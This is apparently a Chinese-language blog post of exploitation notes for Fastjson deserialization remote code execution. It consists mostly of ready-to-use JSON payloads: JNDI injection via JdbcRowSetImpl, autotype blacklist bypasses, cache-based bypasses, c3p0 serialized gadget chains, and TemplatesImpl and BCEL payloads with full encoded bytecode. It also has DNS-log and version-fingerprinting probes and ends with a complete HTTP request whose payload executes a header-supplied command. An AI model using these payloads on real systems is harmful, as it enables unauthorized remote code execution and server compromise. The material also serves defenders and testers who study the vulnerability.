Fastjson利用笔记
Posted 李白你好
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1. 介绍
Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。具有执行效率高的特点,应用范围广泛。
Fastjson RCE关键函数:
DefaultJSONParser. parseObject() 解析传入的 json 字符串提取不同的 key 进行后续的处理TypeUtils. loadClass() 根据传入的类名,生成类的实例JavaBeanDeserializer. Deserialze() 依次调用 @type 中传入类的对象公有 set\\get\\is 方法。ParserConfig. checkAutoType() 阿里后续添加的防护函数,用于在 loadclass 前检查传入的类是否合法。
在java审计中,需要关注的关键字:JSON.parse , JSON.parseObject , JSONObject.parse , JSONObject.parseObject , JSONObject.parseArray
涉及的涉及jar: fastjson-.jar
代码块:
JSON.parse("可控");
2. 检测方案
上面说到漏洞触发和 setter 与 getter 有关,那么利用方式就是找那些在 setter 和 getter 中有敏感方法的类,从分析的角度来看,检测的主流方式有四种(以 1.2.24 版本为例):
JNDI 注入
原理是 com.sun.rowset.JdbcRowSetImpl 这个类在设置 autoCommit 的 setter 时会调用 connect 方法去连接 dataSourceName 指定的 jdbc 服务,而 JNDI 常用的有 RMI 和 LDAP 服务。
rmi协议:
“@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://localhost:1099/POC”,
“autoCommit”:true
ldap协议:
“@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://localhost:1099/POC”,
“autoCommit”:true bytesCode(TemplatesImpl)
原理是把这个类会把中的方法会实例化 _bytescodes 中指定的类,我们可以写一个自定义类并在类的初始化函数中加入利用代码,利用条件苛刻,可用于解决不出网利用,需要调用parseObject()方法时,加入Feature.SupportNonPublicField参数。
_bytecodes要进行base64编码
[“base64_bytesCode”],‘_name’:‘a.b’,‘_tfactory’:
,“_outputProperties”:
,“_name”:“a”,“_version”:“1.0”,“allowedProtocols”:“all”
完整的的payload参考:
“@type”:“com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”,“_bytecodes”:[“yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg==”],“_name”:“a.b”,“_tfactory”:
,“_outputProperties”: ,“_version”:“1.0”,“allowedProtocols”:“all”
DNS log
原理是 java.net.InetAddress 这个类在实例化时会尝试做对 example.com 做域名解析,这时候可以通过 dns log 的方式得知漏洞是否存在了。
“@type”:“java.net.InetAddress”,“val”:“example.com”
bcel 字节码
原理是如果 classname 中包含
$$BCEL$$
,
这个 ClassLoader 则会将
$$BCEL$$
后面的字符串按照BCEL编码进行解码,作为Class的字节码,并调用 defineClass() 获取 Class 对象,于是我们通过FastJson反序列化,反序列化生成一个 org.apache.tomcat.dbcp.dbcp2.BasicDataSource 对象,并将它的成员变量 classloader 赋值为 com.sun.org.apache.bcel.internal.util.ClassLoader 对象,将 classname 赋值为 经过BCEL编码的字节码(假设对应的类为Evil.class),我们将需要执行的代码写在 Evil.class 的 static 代码块中即可。
>
>
> "x":
> "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
> "driverClassLoader":
> "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
> ,
> "driverClassName": "$$BCEL$$$l$8b$I$A$..."
>
> : "x"
上面的四种方式综合考量下,第一种只要JNDI server 收到了 socket 连接就是漏洞存在,但是需要目标出网,第二种有限制,现实中很难看到这种情况,第三种,只需要dns出网的就行,但是利用不一定能成功,第四种在jdk版本低时可用,且应对不出网的情况,但是需要tomcat环境,切版本高了bcel被删了。
3. 区分Jackson和fastjson
由于 Jackson 相对比较严格, 这里可以很好分辨出 Fastjson 和 Jackson
如果请求包中的 json 如下:
“name”:“S”, “age”:21
追加一个随机 key ,修改 json 为
“name”:“S”, “age”:21,“abc”:123
这里 Fastjson 是不会报错的, Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key,
所以会报错,服务器的响应包中多少会有异常回显。
4. 盲打payload
分享一个fastjson探测小tips,一般大家探测fastjson dnslog:
都是上了直接发
“@type”:“java.net.Inet4Address”,“val”:“okkkk.02e2z0.dnslog.cn”,
有时候这个并能触发dnslog,当然好一点的是
“x”:“@type”:“java.net.Inet4Address”,“val”:“okkkk.02e2z0.dnslog.cn”
当然这个也是有的情况存在遗漏。
1.2.67版本前
“zeo”:“@type”:“java.net.Inet4Address”,“val”:“c9f7jl.dnslog.cn”
1.2.67版本后payload
“@type”:“java.net.Inet4Address”,“val”:“dnslog”
“@type”:“java.net.Inet6Address”,“val”:“dnslog”
“@type”:“java.net.InetSocketAddress”“address”:,“val”:“dnslog”
“@type”:“java.net.URL”,“val”:“http://dnslog”:“x”
个人建议,把一些有用的payload放在一个包里面发,先检测是否有dns请求,然后再单独发,确定是那个payload有效,例如:
“a”:“@type”:“java.net.Inet4Address”,“val”:“scspxx.dnslog.cn”,“b”:“@type”:“java.net.Inet6Address”,“val”:“scspxx.dnslog.cn”,“c”:“@type”:“java.net.InetSocketAddress”“address”:,“val”:“scspxx.dnslog.cn”,“d”:“@type”:“java.net.URL”,“val”:“http://scspxx.dnslog.cn”:“x”,“e”:“@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://scspxx.dnslog.cn”,“autoCommit”:true,“f”:“name”:“@type”:“java.lang.Class”,“val”:“com.sun.rowset.JdbcRowSetImpl”,“x”“@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://scspxx.dnslog.cn”,“autoCommit”:true,“g”:“@type”:“javax.swing.JEditorPane”,“page”:“http://scspxx.dnslog.cn”,“h”:“@type”:“com.alibaba.fastjson.JSONObject”,
“@type”: “java.net.URL”,“val”:“http://scspxx.dnslog.cn”“”
测试fastjson是否存在,以下几种方式:
- 破坏原先的json 结构,然后看服务器返回的报错信息
- 输入@type作为key的json数据,来看是否可以执行,比如不出网的情况下发包可能会卡住
- 白盒情况下直接看classpath的依赖包
当然也可以直接用bcel 延时payload盲打,以下payload是延时10秒,需要注意在Java 8u251以后,bcel类被删除。
copy#commons-dbcp
"activeLicenseId":"x":"@type":"com.alibaba.fastjson.JSONObject","a":"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassLoader":"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader","driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AU$8f$bbN$c3$40$QE$ef$84$b5$j6$86$98$Q$k$NHT$q$UDT4$R$N$C$89$87$a0H$94$de$8f$R82$8eel$c4$lQ$a7$CQ$f0$B$7c$Ubv$89$40Lqg$f7$e8$cc$8e$f6$f3$eb$fd$D$c0$R$b65$3c$b4$j$d8$da$P4$C$acy$e8xX$f7$d0$r$b8$c34O$ab$T$c2R$af$3f$n$a8$d3Y$c2$84$f6u$9a$f3M$fd$Qq9$O$a3LHs$Yg$LS$8ffu$Z$f3yj$b8$ke$cc$c5$e14$7c$K$7d4$b1$eca$c3$c7$s$b6$I$bb$86$N$b20$bf$h$5c$e4$V$97e$5dT$9c$9c$3d$c7$5cT$e9$y$t8v$94$Q$fc$89$b7$d1$94$e3$ea$l$g$df$97$i$sb$3f$fe$d8$aaw$d9$9f$60$P$ae$7c$cbT$Dd$f6Jj$b9$edH$t$e9$ce$c1$xh$$$HBK$d2$b5$d0$88$fe$afzlG$81V$X$8d7$a8$X$a8$ab$b9$F$ae$u$ceb$b0$D$r$a9$ec6C$b5$3cAX$b1$7bW$bf$B$ae3$a8$e6d$B$A$A":"b"
#ibatis/mybatis
"@type":"com.alibaba.fastjson.JSONObject", "a": "name": "@type": "java.lang.Class", "val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader": "key": "@type": "java.lang.Class", "val": "com.sun.org.apache.bcel.internal.util.ClassLoader", "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" , "driver": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AU$8f$bbN$c3$40$QE$ef$84$b5$j6$86$98$Q$k$NHT$q$UDT4$R$N$C$89$87$a0H$94$de$8f$R82$8eel$c4$lQ$a7$CQ$f0$B$7c$Ubv$89$40Lqg$f7$e8$cc$8e$f6$f3$eb$fd$D$c0$R$b65$3c$b4$j$d8$da$P4$C$acy$e8xX$f7$d0$r$b8$c34O$ab$T$c2R$af$3f$n$a8$d3Y$c2$84$f6u$9a$f3M$fd$Qq9$O$a3LHs$Yg$LS$8ffu$Z$f3yj$b8$ke$cc$c5$e14$7c$K$7d4$b1$eca$c3$c7$s$b6$I$bb$86$N$b20$bf$h$5c$e4$V$97e$5dT$9c$9c$3d$c7$5cT$e9$y$t8v$94$Q$fc$89$b7$d1$94$e3$ea$l$g$df$97$i$sb$3f$fe$d8$aaw$d9$9f$60$P$ae$7c$cbT$Dd$f6Jj$b9$edH$t$e9$ce$c1$xh$$$HBK$d2$b5$d0$88$fe$afzlG$81V$X$8d7$a8$X$a8$ab$b9$F$ae$u$ceb$b0$D$r$a9$ec6C$b5$3cAX$b1$7bW$bf$B$ae3$a8$e6d$B$A$A" :"b"
#websphere
"@type": "com.alibaba.fastjson.JSONObject", "a": "@type": "org.apache.openjpa.jdbc.schema.SimpleDriverDataSource", "_classLoader": "@type": "com.ibm.xltxe.rnm1.xtq.bcel.util.ClassLoader" , "_connectionDriverName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AU$8f$bbN$c3$40$QE$ef$84$b5$j6$86$98$Q$k$NHT$q$UDT4$R$N$C$89$87$a0H$94$de$8f$R82$8eel$c4$lQ$a7$CQ$f0$B$7c$Ubv$89$40Lqg$f7$e8$cc$8e$f6$f3$eb$fd$D$c0$R$b65$3c$b4$j$d8$da$P4$C$acy$e8xX$f7$d0$r$b8$c34O$ab$T$c2R$af$3f$n$a8$d3Y$c2$84$f6u$9a$f3M$fd$Qq9$O$a3LHs$Yg$LS$8ffu$Z$f3yj$b8$ke$cc$c5$e14$7c$K$7d4$b1$eca$c3$c7$s$b6$I$bb$86$N$b20$bf$h$5c$e4$V$97e$5dT$9c$9c$3d$c7$5cT$e9$y$t8v$94$Q$fc$89$b7$d1$94$e3$ea$l$g$df$97$i$sb$3f$fe$d8$aaw$d9$9f$60$P$ae$7c$cbT$Dd$f6Jj$b9$edH$t$e9$ce$c1$xh$$$HBK$d2$b5$d0$88$fe$afzlG$81V$X$8d7$a8$X$a8$ab$b9$F$ae$u$ceb$b0$D$r$a9$ec6C$b5$3cAX$b1$7bW$bf$B$ae3$a8$e6d$B$A$A" : "b"
5. 探测目标fastjson版本
知道版本,才能更好确定使用的payload。还可以用来区分fastjson和Jackjson,fastjson探测版本,可以用错误格式的json发过去,如果对方异常未处理可报出详细版本。
探测版本原理主要是利用各个类被加入黑名单的方式进行判断。
查看版本:
"@type":"java.lang.AutoCloseable"
dns探测版本:
copy探测版本PoC,fastjson >1.2.43
"@type":"java.net.URL","val":"http://dnslog"
"@type":"java.net.URL","val":"http://dnslog":"x"
fastjson >1.2.48
"@type":"java.net.InetAddress","val":"dnslog"
fastjson >1.2.68
“@type”:“java.net.Inet4Address”,“val”:“dnslog”
“@type”:“java.net.Inet6Address”,“val”:“dnslog”
“@type”:“java.net.URL”,“val”:“dnslog”:“aaa”
“@type”:“com.alibaba.fastjson.JSONObject”, “@type”: “java.net.URL”,
“val”:“http://dnslog”“”
Set[“@type”:“java.net.URL”,“val”:“http://dnslog”]
Set[“@type”:“java.net.URL”,“val”:“http://dnslog”
“@type”:“java.net.InetSocketAddress”“address”:,“val”:“dnslog”
“@type”:“java.net.URL”,“val”:“http://dnslog”:0
6. 各版本利用
除了考虑Fastjson版本,还得考虑JDK版本,中间件版本,第三方依赖版本。
JDK版本对于JDNI注入的限制,基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191。(更高版本也有绕过)
如何查看服务器的jdk版本呢, 这里也有个小技巧
nc -lvvp 80#[marshalsec中指定的HTTP端口] 当服务器连接过来时,
User-Agent中会标明当前服务器的JDK版本
更高版本绕过可用https://github.com/veracode-research/rogue-jndi
利用方式:
jndi
JdbcRowSetImpl
C3p0#JndiRefForwardingDataSource
JndiDataSourceFactory
bcel(需要注意在Java 8u251以后,bcel类被删除)
tomcat#dbcp
ibatis
TemplatesImpl
1、基于rmi的利用方式
适用jdk版本:JDK 6u132, JDK 7u122, JDK 8u113之前
2、基于ldap的利用方式
适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。
3、基于BeanFactory的利用方式
适用jdk版本:JDK 11.0.1、8u191、7u201、6u211以后。
利用前提:因为这个利用方式需要借助服务器本地的类,而这个类在tomcat的jar包里面,一般情况下只能在tomcat上可以利用成功。
4.基于ibatis的利用方式
目前只有一个依赖于ibatis的payload,当然因为ibatis在java里面的使用还是非常广泛的,所以这个payload危害也是比较大的,这也就是1.2.45的绕过
- 基于TemplatesImpl的利用方式
利用条件苛刻,可用于解决不出网利用,需要调用parseObject()方法时,加入Feature.SupportNonPublicField参数。
1.版本在1.2.22-1.2.24之间:
Fastjson 1.2.22-1.2.24
JdbcRowSetImpl
“@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://127.0.0.1:1099/badClassName”,
“autoCommit”:true c3p0#JndiRefForwardingDataSource
JdbcRowSetImpl无法成功可以一试
“@type”:“com.mchange.v2.c3p0.JndiRefForwardingDataSource”,“jndiName”:“rmi://127.0.0.1:1099/badClassName”,
“loginTimeout”:0 shiro#JndiObjectFactory“@type”:“org.apache.shiro.jndi.JndiObjectFactory”,
“resourceName”:“rmi://127.0.0.1:9050/exploit” shiro#JndiRealmFactory“@type”:“org.apache.shiro.realm.jndi.JndiRealmFactory”,
“jndiNames”:“rmi://127.0.0.1:9050/exploit”
rmi协议可替换ldap协议,看对方jdk的版本。
bcel
tomcat7 用的链
org.apache.tomcat.dbcp.dbcp.BasicDataSource
tomcat8 用的链
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
Poc
"x": "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" , "driverClassName": "$$BCEL$$$l$8b$I$A$..." : "x"
- 版本在1.2.25-1.2.43之间
1.2.25后将TypeUtils.loadClass替换为checkAutoType()函数,增加了黑名单和白名单,把autoTypeSupport默认为False。
1.2.25黑名单
bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi
javax.xml org.apache.bcel org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload org.apache.myfaces.context.servlet
org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime
org.hibernate org.jboss org.mozilla.javascript org.python.core
org.springframework Fastjson 1.2.25-1.2.41
jndl payload:
利用条件:
需要开启autotype,类名前面加了一个L,后面加一个;可以绕过黑名单
“@type”:“Lcom.sun.rowset.JdbcRowSetImpl;”,“dataSourceName”:“ldap://localhost:1389/badNameClass”,
“autoCommit”:true
Fastjson 1.2.25-1.2.42
从1.2.42版本开始,把之前的明文黑名单,改为hash黑名单。
利用条件:
条件需要开启autotype
双写绕过
“@type”:“LLcom.sun.rowset.JdbcRowSetImpl;;”,“dataSourceName”:“ldap://localhost:1389/badNameClass”,
“autoCommit”:true
Fastjson 1.2.25-1.2.43
利用条件:
需要开启autotype
加[绕过
“@type”:“[com.sun.rowset.JdbcRowSetImpl”[,“dataSourceName”:“ldap://localhost:1389/badNameClass”,
“autoCommit”:true
bcel-payload:
bcel-1.2.33<=fastjson<=12.36:
"name": "@type" : "java.lang.Class", "val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" , "x" : "name": "@type" : "java.lang.Class", "val" : "com.sun.org.apache.bcel.internal.util.ClassLoader" , "@type":"com.alibaba.fastjson.JSONObject", "c": "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" , "driverClassName":"$$BCEL..." : "ddd"
bcel-fastjson>=12.36:
当fastjson版本>=1.2.36时,我们可以使用$ref的方式来调用任意的getter,比如这个Payload调用的是x.y.c.connection,x是这个大对象,最终调用的是c对象的connection方法,也就是BasicDataSource.connection
"name": "@type" : "java.lang.Class", "val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" , "x" : "name": "@type" : "java.lang.Class", "val" : "com.sun.org.apache.bcel.internal.util.ClassLoader" , "y": "@type":"com.alibaba.fastjson.JSONObject", "c": "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" , "driverClassName":"!!!Payload!!!", "$ref": "$.x.y.c.connection"
3.fastjson >1.2.43
Fastjson 1.2.25-1.2.45
利用条件需要开启autotype 1.2.45把之前问题修了,但是可以借助第三方组件绕过,需要mybatis,且版本需为3.x.x系列<3.5.0的版本。
“@type”:“org.apache.ibatis.datasource.jndi.JndiDataSourceFactory”,“properties”:“data_source”:“ldap://localhost:1389/badNameClass”
Fastjson1.2.25-1.2.47通杀
借助缓存进行通杀,缓存在1.2.48被改为默认关闭,漏洞原理是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测:
1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用
“a”: “@type”:“java.lang.Class”,
“val”:“com.sun.rowset.JdbcRowSetImpl” , “b”:
“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:“ldap://localhost:1389/badNameClass”,
“autoCommit”:true c3p0#WrapperConnectionPoolDataSource
可用于解决不出网利用。
fastjson <1.2.47
利用c3p0二次反序列化 cc payload到达回显。
“e”:“@type”:“java.lang.Class”,“val”:“com.mchange.v2.c3p0.WrapperConnectionPoolDataSource”,“f”:“@type”:“com.mchange.v2.c3p0.WrapperConnectionPoolDataSource”,“userOverridesAsString”:“HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000000000027372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870707400136765744F757470757450726F7065727469657370737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017371007E000B3F4000000000000C770800000010000000017372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00084C00055F6E616D6571007E00074C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000000DCFCAFEBABE0000003400CD0A0014005F090033006009003300610700620A0004005F09003300630A006400650A003300660A000400670A000400680A0033006907006A0A0014006B0A0012006C08006D0B000C006E08006F0700700A001200710700720A007300740700750700760700770800780A0079007A0A0018007B08007C0A0018007D08007E08007F0800800B001600810700820A008300840A008300850A008600870A002200880800890A0022008A0A0022008B0A008C008D0A008C008E0A0012008F0A009000910A009000920A001200930A003300940700950A00120096070097010001680100134C6A6176612F7574696C2F486173685365743B0100095369676E61747572650100274C6A6176612F7574696C2F486173685365743C4C6A6176612F6C616E672F4F626A6563743B3E3B010001720100274C6A617661782F736572766C65742F687474702F48747470536572766C6574526571756573743B010001700100284C6A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73653B0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010004746869730100204C79736F73657269616C2F7061796C6F6164732F436F6D6D6F6E4563686F313B01000169010015284C6A6176612F6C616E672F4F626A6563743B295A0100036F626A0100124C6A6176612F6C616E672F4F626A6563743B01000D537461636B4D61705461626C65010016284C6A6176612F6C616E672F4F626A6563743B492956010001650100154C6A6176612F6C616E672F457863657074696F6E3B010008636F6D6D616E64730100135B4C6A6176612F6C616E672F537472696E673B0100016F01000564657074680100014907007607004C070072010001460100017101000D6465636C617265644669656C640100194C6A6176612F6C616E672F7265666C6563742F4669656C643B01000573746172740100016E0100114C6A6176612F6C616E672F436C6173733B07007007009807009901000A536F7572636546696C65010010436F6D6D6F6E4563686F312E6A6176610C003C003D0C003800390C003A003B0100116A6176612F7574696C2F486173685365740C0034003507009A0C009B009C0C005300480C009D00440C009E00440C004300440100256A617661782F736572766C65742F687474702F48747470536572766C6574526571756573740C009F00A00C00A100A2010003636D640C00A300A401000B676574526573706F6E736501000F6A6176612F6C616E672F436C6173730C00A500A60100106A6176612F6C616E672F4F626A6563740700A70C00A800A90100266A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73650100136A6176612F6C616E672F457863657074696F6E0100106A6176612F6C616E672F537472696E670100076F732E6E616D650700AA0C00AB00A40C00AC00AD01000357494E0C009D00AE0100022F630100072F62696E2F73680100022D630C00AF00B00100116A6176612F7574696C2F5363616E6E65720700B10C00B200B30C00B400B50700B60C00B700B80C003C00B90100025C410C00BA00BB0C00BC00AD0700BD0C00BE00BF0C00C0003D0C00C100C20700990C00C300C40C00C500C60C00C700C80C003A00480100135B4C6A6176612F6C616E672F4F626A6563743B0C00C900A001001E79736F73657269616C2F7061796C6F6164732F436F6D6D6F6E4563686F3101001A5B4C6A6176612F6C616E672F7265666C6563742F4669656C643B0100176A6176612F6C616E672F7265666C6563742F4669656C640100106A6176612F6C616E672F54687265616401000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B010008636F6E7461696E73010003616464010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B010010697341737369676E61626C6546726F6D010014284C6A6176612F6C616E672F436C6173733B295A010009676574486561646572010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B0100096765744D6574686F64010040284C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B0100186A6176612F6C616E672F7265666C6563742F4D6574686F64010006696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这里有两大版本范围:
bcel-payload:
bcel-payload -1.2.33 <= fastjson <= 1.2.47
POST /json HTTP/1.1
Host: 127.0.0.1:9092
Content-Type: application/json
cmd: whoami
Content-Length: 3647
"xx": "@type" : "java.lang.Class", "val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" , "x" : "name": "@type" : "java.lang.Class", "val" : "com.sun.org.apache.bcel.internal.util.ClassLoader" , "@type":"com.alibaba.fastjson.JSONObject", "c": "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" , "driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$